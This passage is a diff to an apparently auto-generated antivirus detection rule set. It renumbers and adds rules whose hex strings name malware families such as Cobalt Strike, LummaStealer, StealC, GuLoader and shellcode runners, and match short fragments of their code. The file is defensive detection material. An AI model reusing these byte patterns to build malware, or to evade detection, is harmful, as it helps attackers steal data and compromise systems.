9d 25 17 28 90 01 03 06 9d 25 18 28 90 01 03 06 9d 25 19 28 90 01 03 06 9d 73 90 01 03 0a 90 02 c8 2a 90 00 00 00 78 54 00 00 01 00 01 00 02 00 21 23 48 53 54 52 3a 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 47 61 6d 65 56 61 6e 63 65 2e 31 00 } //21539 + $a_6f_0 = {61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 5a 31 00 01 00 2c 02 01 25 16 28 90 01 03 06 9d 25 17 28 90 01 03 06 9d 25 18 28 90 01 03 06 9d 25 19 28 90 01 03 06 9d 73 90 01 03 0a 90 02 c8 2a 90 00 00 00 78 54 00 00 01 00 01 00 01 00 21 23 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 68 65 6c 6c 43 6f 64 65 52 75 6e 6e 65 72 2e 47 56 } //21539 condition: ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4099{ +rule _InfrastructureShared_4252{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_6f_0 = {61 6e 3a 4d 53 49 4c 2f 53 68 65 6c 6c 43 6f 64 65 52 75 6e 6e 65 72 2e 47 56 32 00 01 00 26 01 02 8e 69 8d 28 00 00 01 0a 16 0b 2b 13 06 07 02 07 91 03 07 03 8e 69 5d 91 61 d2 9c 07 17 58 0b 07 02 8e 69 32 e7 00 00 78 54 00 00 01 00 01 00 02 00 21 23 48 53 54 52 3a 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 47 61 6d 65 56 61 6e 63 65 2e 31 00 } //21539 + condition: + ((#a_6f_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_4253{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -42329,7 +43913,7 @@ rule _InfrastructureShared_4099{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*18467) >=1 } -rule _InfrastructureShared_4100{ +rule _InfrastructureShared_4254{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -42340,7 +43924,7 @@ rule _InfrastructureShared_4100{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*18467) >=1 } -rule _InfrastructureShared_4101{ +rule _InfrastructureShared_4255{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -42351,7 +43935,7 @@ rule _InfrastructureShared_4101{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*18467) >=1 } -rule _InfrastructureShared_4102{ +rule _InfrastructureShared_4256{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -42362,7 +43946,7 @@ rule _InfrastructureShared_4102{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*18467) >=1 } -rule _InfrastructureShared_4103{ +rule _InfrastructureShared_4257{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -42373,7 +43957,7 @@ rule _InfrastructureShared_4103{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*18467) >=1 } -rule _InfrastructureShared_4104{ +rule _InfrastructureShared_4258{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -42384,7 +43968,7 @@ rule _InfrastructureShared_4104{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*18467) >=1 } -rule _InfrastructureShared_4105{ +rule _InfrastructureShared_4259{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -42395,7 +43979,7 @@ rule _InfrastructureShared_4105{ ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*19747) >=1 } -rule _InfrastructureShared_4106{ +rule _InfrastructureShared_4260{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -42406,7 +43990,7 @@ rule _InfrastructureShared_4106{ ((#a_30_0 & 1)*19747+(#a_46_1 & 1)*21283) >=1 } -rule _InfrastructureShared_4107{ +rule _InfrastructureShared_4261{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -42417,7 +44001,37 @@ rule _InfrastructureShared_4107{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*2) >=1 } -rule _InfrastructureShared_4108{ +rule _InfrastructureShared_4262{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 74 65 61 6c 43 2e 49 56 42 4e 21 4d 54 42 00 02 00 26 03 2b 1b 12 02 28 90 01 01 01 00 0a 0d 07 09 28 90 01 01 01 00 0a 28 90 01 01 01 00 0a 28 90 01 01 00 00 0a 0b 90 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_4263{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 65 64 79 2e 45 4b 4e 47 21 4d 54 42 00 02 00 28 03 00 00 0a 0d 09 08 90 01 05 17 90 01 05 13 04 11 04 02 16 02 8e 69 90 01 05 11 04 90 01 05 09 90 01 05 13 05 de 20 90 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_4264{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 5a 43 4d 44 21 4d 54 42 00 02 00 1f 03 41 03 cb 0f b6 d1 0f b6 4c 14 90 01 01 43 32 0c 07 41 88 08 49 ff c0 48 83 ef 01 75 95 90 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_4265{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -42427,7 +44041,7 @@ rule _InfrastructureShared_4108{ ((#a_6f_0 & 1)*21539) >=2 } -rule _InfrastructureShared_4109{ +rule _InfrastructureShared_4266{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -42438,7 +44052,7 @@ rule _InfrastructureShared_4109{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*2) >=2 } -rule _InfrastructureShared_4110{ +rule _InfrastructureShared_4267{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -42449,7 +44063,7 @@ rule _InfrastructureShared_4110{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*2) >=2 } -rule _InfrastructureShared_4111{ +rule _InfrastructureShared_4268{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -42460,7 +44074,7 @@ rule _InfrastructureShared_4111{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*18467) >=2 } -rule _InfrastructureShared_4112{ +rule _InfrastructureShared_4269{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -42471,7 +44085,7 @@ rule _InfrastructureShared_4112{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*18467) >=2 } -rule _InfrastructureShared_4113{ +rule _InfrastructureShared_4270{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -42482,7 +44096,7 @@ rule _InfrastructureShared_4113{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*18467) >=2 } -rule _InfrastructureShared_4114{ +rule _InfrastructureShared_4271{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -42493,18 +44107,29 @@ rule _InfrastructureShared_4114{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*18467) >=2 } -rule _InfrastructureShared_4115{ +rule _InfrastructureShared_4272{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_54_0 = {3a 53 71 4c 69 74 65 45 78 70 65 72 74 00 01 00 1a 01 53 00 51 00 4c 00 69 00 74 00 65 00 20 00 45 00 78 00 70 00 65 00 72 00 74 00 01 00 16 01 43 00 6f 00 72 00 61 00 6c 00 20 00 43 00 72 00 65 00 65 00 6b 00 00 00 78 54 00 00 02 00 02 00 02 00 21 } //18467 + $a_54_1 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 4d 21 4d 54 42 00 01 00 0b 81 01 5c 47 79 6c 70 65 72 2e 74 78 74 01 00 12 81 01 66 6f 72 62 6c 64 74 65 20 64 65 67 72 61 64 65 72 65 00 00 78 54 00 00 02 00 02 00 02 00 21 } //18467 + condition: + ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*18467) >=2 + +} +rule _InfrastructureShared_4273{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 4d 21 4d 54 42 00 01 00 0b 81 01 5c 47 79 6c 70 65 72 2e 74 78 74 01 00 12 81 01 66 6f 72 62 6c 64 74 65 20 64 65 67 72 61 64 65 72 65 00 00 78 54 00 00 02 00 02 00 02 00 21 } //18467 $a_54_1 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 41 56 36 21 4d 54 42 00 01 00 06 00 05 3b 2d 0b 00 be 01 00 19 02 8a 8c 01 3b 2d 0b 00 8b 15 90 01 04 88 0c 02 40 3b 05 90 01 04 72 e1 90 00 00 00 78 54 00 00 02 00 02 00 02 00 21 } //18467 condition: ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*18467) >=2 } -rule _InfrastructureShared_4116{ +rule _InfrastructureShared_4274{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -42515,7 +44140,7 @@ rule _InfrastructureShared_4116{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*18467) >=2 } -rule _InfrastructureShared_4117{ +rule _InfrastructureShared_4275{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -42526,7 +44151,7 @@ rule _InfrastructureShared_4117{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*18467) >=2 } -rule _InfrastructureShared_4118{ +rule _InfrastructureShared_4276{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -42537,7 +44162,7 @@ rule _InfrastructureShared_4118{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*18467) >=2 } -rule _InfrastructureShared_4119{ +rule _InfrastructureShared_4277{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -42548,7 +44173,7 @@ rule _InfrastructureShared_4119{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*18467) >=2 } -rule _InfrastructureShared_4120{ +rule _InfrastructureShared_4278{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -42559,7 +44184,7 @@ rule _InfrastructureShared_4120{ ((#a_54_0 & 1)*18467+(#a_46_1 & 1)*21283) >=2 } -rule _InfrastructureShared_4121{ +rule _InfrastructureShared_4279{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -42570,7 +44195,7 @@ rule _InfrastructureShared_4121{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*2) >=2 } -rule _InfrastructureShared_4122{ +rule _InfrastructureShared_4280{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -42580,7 +44205,7 @@ rule _InfrastructureShared_4122{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_4123{ +rule _InfrastructureShared_4281{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -42592,7 +44217,7 @@ rule _InfrastructureShared_4123{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*2+(#a_53_2 & 1)*8993) >=2 } -rule _InfrastructureShared_4124{ +rule _InfrastructureShared_4282{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -42604,7 +44229,7 @@ rule _InfrastructureShared_4124{ ((#a_54_0 & 1)*18467+(#a_46_1 & 1)*21283+(#a_00_2 & 1)*3) >=2 } -rule _InfrastructureShared_4125{ +rule _InfrastructureShared_4283{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 21 " @@ -42614,7 +44239,7 @@ rule _InfrastructureShared_4125{ ((#a_46_0 & 1)*21283) >=3 } -rule _InfrastructureShared_4126{ +rule _InfrastructureShared_4284{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -42626,7 +44251,7 @@ rule _InfrastructureShared_4126{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*3+(#a_46_2 & 1)*16675) >=3 } -rule _InfrastructureShared_4127{ +rule _InfrastructureShared_4285{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -42638,7 +44263,7 @@ rule _InfrastructureShared_4127{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*3+(#a_54_2 & 1)*18467) >=3 } -rule _InfrastructureShared_4128{ +rule _InfrastructureShared_4286{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -42650,7 +44275,7 @@ rule _InfrastructureShared_4128{ ((#a_54_0 & 1)*18467+(#a_77_1 & 1)*19491+(#a_45_2 & 1)*16686) >=3 } -rule _InfrastructureShared_4129{ +rule _InfrastructureShared_4287{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -42662,7 +44287,7 @@ rule _InfrastructureShared_4129{ ((#a_77_0 & 1)*19491+(#a_45_1 & 1)*16686+(#a_73_2 & 1)*25974) >=3 } -rule _InfrastructureShared_4130{ +rule _InfrastructureShared_4288{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -42674,44 +44299,55 @@ rule _InfrastructureShared_4130{ ((#a_54_0 & 1)*18467+(#a_5f_1 & 1)*25635+(#a_65_2 & 1)*26950) >=3 } -rule _InfrastructureShared_4131{ +rule _InfrastructureShared_4289{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " strings : $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 36 34 62 69 74 5f 72 65 73 63 61 6e 00 01 00 08 01 4e 74 6f 73 6b 72 6e 6c 01 00 06 01 46 6c 74 4d 67 72 01 00 05 01 4e 65 74 69 6f 01 00 08 01 43 72 61 73 68 44 6d 70 00 00 78 54 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 42 61 74 63 68 44 65 6c } //25635 $a_65_1 = {01 00 05 80 01 2e 62 61 74 00 01 00 04 80 01 64 65 6c 20 01 00 07 80 01 20 65 78 69 73 74 20 01 00 06 80 01 20 67 6f 74 6f 20 00 00 78 54 00 00 04 00 04 00 04 00 21 23 64 6f 5f 64 65 65 70 5f 72 65 73 63 61 6e 00 01 00 17 01 21 54 45 6e 69 67 6d 61 50 72 6f 74 65 63 74 6f 72 4c 6f 61 64 65 72 01 00 07 00 4f 4c 4c 59 44 42 } //26950 - $a_77_3 = {72 65 01 00 07 00 73 61 6e 64 62 6f 78 00 00 78 54 00 00 05 00 05 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 6f 7a 65 6e 61 2e 4e 52 21 4d 54 42 00 02 00 0b 00 62 72 6f 6d 69 74 61 2e 65 78 65 02 00 0a 01 6a 75 61 6e 6a 6f 2e 70 6e 67 01 00 0a 01 73 66 78 72 61 72 2e 70 64 62 00 00 78 54 00 00 08 00 } //30208 + $a_77_3 = {72 65 01 00 07 00 73 61 6e 64 62 6f 78 00 00 78 54 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 50 47 4c 58 21 4d 54 42 00 05 00 1f 03 24 04 8b 4c 24 04 80 c1 90 01 01 88 0c 04 89 c1 83 e1 01 83 f0 01 8d 04 48 83 f8 04 72 90 00 00 00 78 54 00 00 05 00 } //30208 condition: ((#a_5f_0 & 1)*25635+(#a_65_1 & 1)*26950+(#a_77_3 & 1)*30208) >=3 } -rule _InfrastructureShared_4132{ +rule _InfrastructureShared_4290{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 42 61 74 63 68 44 65 6c 46 69 6c 65 00 01 00 05 80 01 2e 62 61 74 00 01 00 04 80 01 64 65 6c 20 01 00 07 80 01 20 65 78 69 73 74 20 01 00 06 80 01 20 67 6f 74 6f 20 00 00 78 54 00 00 04 00 04 00 04 00 21 } //18467 - $a_5f_1 = {65 65 70 5f 72 65 73 63 61 6e 00 01 00 17 01 21 54 45 6e 69 67 6d 61 50 72 6f 74 65 63 74 6f 72 4c 6f 61 64 65 72 01 00 07 00 4f 4c 4c 59 44 42 47 01 00 06 00 76 6d 77 61 72 65 01 00 07 00 73 61 6e 64 62 6f 78 00 00 78 54 00 00 05 00 05 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 6f 7a 65 6e 61 2e 4e 52 21 } //25635 - $a_00_2 = {02 00 0b 00 62 72 6f 6d 69 74 61 2e 65 78 65 02 00 0a 01 6a 75 61 6e 6a 6f 2e 70 6e 67 01 00 0a 01 73 66 78 72 61 72 2e 70 64 62 00 00 78 54 00 00 08 00 08 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a } //21581 - $a_57_3 = {6e 36 34 2f 53 74 72 65 6c 61 53 74 65 61 6c 65 72 2e 47 50 48 21 4d 54 42 00 07 00 14 01 41 b8 00 30 00 00 41 b9 40 00 00 00 31 c9 ff d0 48 89 44 24 01 00 06 01 45 6e 74 72 } //28257 + $a_5f_1 = {65 65 70 5f 72 65 73 63 61 6e 00 01 00 17 01 21 54 45 6e 69 67 6d 61 50 72 6f 74 65 63 74 6f 72 4c 6f 61 64 65 72 01 00 07 00 4f 4c 4c 59 44 42 47 01 00 06 00 76 6d 77 61 72 65 01 00 07 00 73 61 6e 64 62 6f 78 00 00 78 54 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c } //25635 + $a_50_2 = {4c 58 21 4d 54 42 00 05 00 1f 03 24 04 8b 4c 24 04 80 c1 90 01 01 88 0c 04 89 c1 83 e1 01 83 f0 01 8d 04 48 83 f8 04 72 90 00 00 00 78 54 } //29285 + $a_00_3 = {05 00 03 00 21 } //0 condition: - ((#a_54_0 & 1)*18467+(#a_5f_1 & 1)*25635+(#a_00_2 & 1)*21581+(#a_57_3 & 1)*28257) >=4 + ((#a_54_0 & 1)*18467+(#a_5f_1 & 1)*25635+(#a_50_2 & 1)*29285+(#a_00_3 & 1)*0) >=4 } -rule _InfrastructureShared_4133{ +rule _InfrastructureShared_4291{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : - $a_5f_0 = {65 65 70 5f 72 65 73 63 61 6e 00 01 00 17 01 21 54 45 6e 69 67 6d 61 50 72 6f 74 65 63 74 6f 72 4c 6f 61 64 65 72 01 00 07 00 4f 4c 4c 59 44 42 47 01 00 06 00 76 6d 77 61 72 65 01 00 07 00 73 61 6e 64 62 6f 78 00 00 78 54 00 00 05 00 05 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 6f 7a 65 6e 61 2e 4e 52 21 } //25635 - $a_00_1 = {02 00 0b 00 62 72 6f 6d 69 74 61 2e 65 78 65 02 00 0a 01 6a 75 61 6e 6a 6f 2e 70 6e 67 01 00 0a 01 73 66 78 72 61 72 2e 70 64 62 00 00 78 54 00 00 08 00 08 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a } //21581 - $a_57_2 = {6e 36 34 2f 53 74 72 65 6c 61 53 74 65 61 6c 65 72 2e 47 50 48 21 4d 54 42 00 07 00 14 01 41 b8 00 30 00 00 41 b9 40 00 00 00 31 c9 ff d0 48 89 44 24 01 00 06 01 45 6e 74 72 } //28257 + $a_5f_0 = {65 65 70 5f 72 65 73 63 61 6e 00 01 00 17 01 21 54 45 6e 69 67 6d 61 50 72 6f 74 65 63 74 6f 72 4c 6f 61 64 65 72 01 00 07 00 4f 4c 4c 59 44 42 47 01 00 06 00 76 6d 77 61 72 65 01 00 07 00 73 61 6e 64 62 6f 78 00 00 78 54 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c } //25635 + $a_50_1 = {4c 58 21 4d 54 42 00 05 00 1f 03 24 04 8b 4c 24 04 80 c1 90 01 01 88 0c 04 89 c1 83 e1 01 83 f0 01 8d 04 48 83 f8 04 72 90 00 00 00 78 54 } //29285 + $a_00_2 = {05 00 03 00 21 } //0 + $a_4c_3 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 6f 7a 65 6e 61 2e 4e 52 21 4d 54 42 00 02 00 0b 00 62 72 6f 6d 69 74 61 2e 65 78 65 02 00 0a 01 6a 75 61 6e 6a 6f 2e 70 6e 67 01 00 0a 01 73 66 78 72 61 72 2e 70 64 } //21539 condition: - ((#a_5f_0 & 1)*25635+(#a_00_1 & 1)*21581+(#a_57_2 & 1)*28257) >=4 + ((#a_5f_0 & 1)*25635+(#a_50_1 & 1)*29285+(#a_00_2 & 1)*0+(#a_4c_3 & 1)*21539) >=4 } -rule _InfrastructureShared_4134{ +rule _InfrastructureShared_4292{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 50 47 4c 58 21 4d 54 42 00 05 00 1f 03 24 04 8b 4c 24 04 80 c1 90 01 01 88 0c 04 89 c1 83 e1 01 83 f0 01 8d 04 48 83 f8 04 72 90 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=5 + +} +rule _InfrastructureShared_4293{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " @@ -42722,7 +44358,7 @@ rule _InfrastructureShared_4134{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*0) >=5 } -rule _InfrastructureShared_4135{ +rule _InfrastructureShared_4294{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 02 00 21 " @@ -42733,7 +44369,7 @@ rule _InfrastructureShared_4135{ ((#a_54_0 & 1)*18467+(#a_4c_1 & 1)*21539) >=8 } -rule _InfrastructureShared_4136{ +rule _InfrastructureShared_4295{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -42743,7 +44379,7 @@ rule _InfrastructureShared_4136{ ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_4137{ +rule _InfrastructureShared_4296{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 03 00 21 " @@ -42755,7 +44391,7 @@ rule _InfrastructureShared_4137{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*13+(#a_4d_2 & 1)*28257) >=11 } -rule _InfrastructureShared_4138{ +rule _InfrastructureShared_4297{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 01 00 21 " @@ -42765,7 +44401,7 @@ rule _InfrastructureShared_4138{ ((#a_54_0 & 1)*18467) >=13 } -rule _InfrastructureShared_4139{ +rule _InfrastructureShared_4298{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -42776,7 +44412,7 @@ rule _InfrastructureShared_4139{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*20) >=20 } -rule _InfrastructureShared_4140{ +rule _InfrastructureShared_4299{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -42786,20 +44422,30 @@ rule _InfrastructureShared_4140{ ((#a_4c_0 & 1)*21539) >=20 } -rule _InfrastructureShared_4141{ +rule _InfrastructureShared_4300{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 04 00 21 " strings : $a_4e_0 = {77 69 6e 73 63 70 2e 65 78 65 00 05 00 08 80 01 40 3a 57 69 6e 53 43 50 05 00 0d 80 01 45 53 73 68 54 65 72 6d 69 6e 61 74 65 05 00 09 80 01 45 53 6b 69 70 46 69 6c 65 05 00 09 80 01 45 53 73 68 46 61 74 61 6c } //20259 - $a_54_1 = {00 c8 00 c8 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 6c 6f 61 64 65 72 2e 5a 5a 00 64 00 0c 01 7b 49 4e 4a 45 43 54 44 41 54 41 7d 64 00 1a 01 5b 2d 5d 20 52 65 71 75 65 73 74 20 6c 69 6d 69 74 20 72 65 61 63 68 65 64 2e 00 00 78 55 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f } //0 - $a_6e_2 = {65 63 74 2e 41 45 45 00 01 00 23 03 8b 2f 66 0f 90 01 02 90 02 01 0f 90 01 02 66 90 01 04 90 01 02 90 02 04 66 0f 90 01 02 90 02 02 0f 90 00 00 00 78 55 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d } //16982 - $a_2f_3 = {6f 62 61 6c 74 53 74 72 69 6b 65 2e 4b 41 46 21 4d 54 42 00 01 00 22 03 09 11 05 8f 90 01 01 00 00 01 25 47 11 04 16 91 61 d2 52 11 05 17 58 13 05 11 05 09 8e 69 32 e2 90 00 00 00 78 55 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a } //18771 + $a_54_1 = {00 3c 00 3c 00 02 00 21 23 54 45 4c 3a 53 75 70 70 6f 72 74 53 63 61 6d 3a 57 69 6e 33 32 2f 53 63 72 65 63 77 6f 6e 2e 4d 43 21 4d 54 42 00 1e 00 09 81 01 63 77 63 6f 6e 74 72 6f 6c 1e 00 11 81 01 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 57 6f 72 6b 00 00 78 54 00 00 c8 00 c8 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 6c 6f 61 64 65 } //0 + $a_5a_2 = {64 00 0c 01 7b 49 4e 4a 45 43 54 44 41 54 41 7d 64 00 1a 01 5b 2d 5d 20 52 65 71 75 65 73 74 20 6c 69 6d 69 74 20 72 65 61 63 68 65 64 2e 00 00 78 55 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 56 42 49 6e 6a 65 63 } //11890 + $a_45_3 = {00 01 00 23 03 8b 2f 66 0f 90 01 02 90 02 01 0f 90 01 02 66 90 01 04 90 01 02 90 02 04 66 0f 90 01 02 90 02 02 0f 90 00 00 00 78 55 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a } //11892 condition: - ((#a_4e_0 & 1)*20259+(#a_54_1 & 1)*0+(#a_6e_2 & 1)*16982+(#a_2f_3 & 1)*18771) >=20 + ((#a_4e_0 & 1)*20259+(#a_54_1 & 1)*0+(#a_5a_2 & 1)*11890+(#a_45_3 & 1)*11892) >=20 } -rule _InfrastructureShared_4142{ +rule _InfrastructureShared_4301{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,3c 00 3c 00 02 00 21 " + + strings : + $a_4c_0 = {53 75 70 70 6f 72 74 53 63 61 6d 3a 57 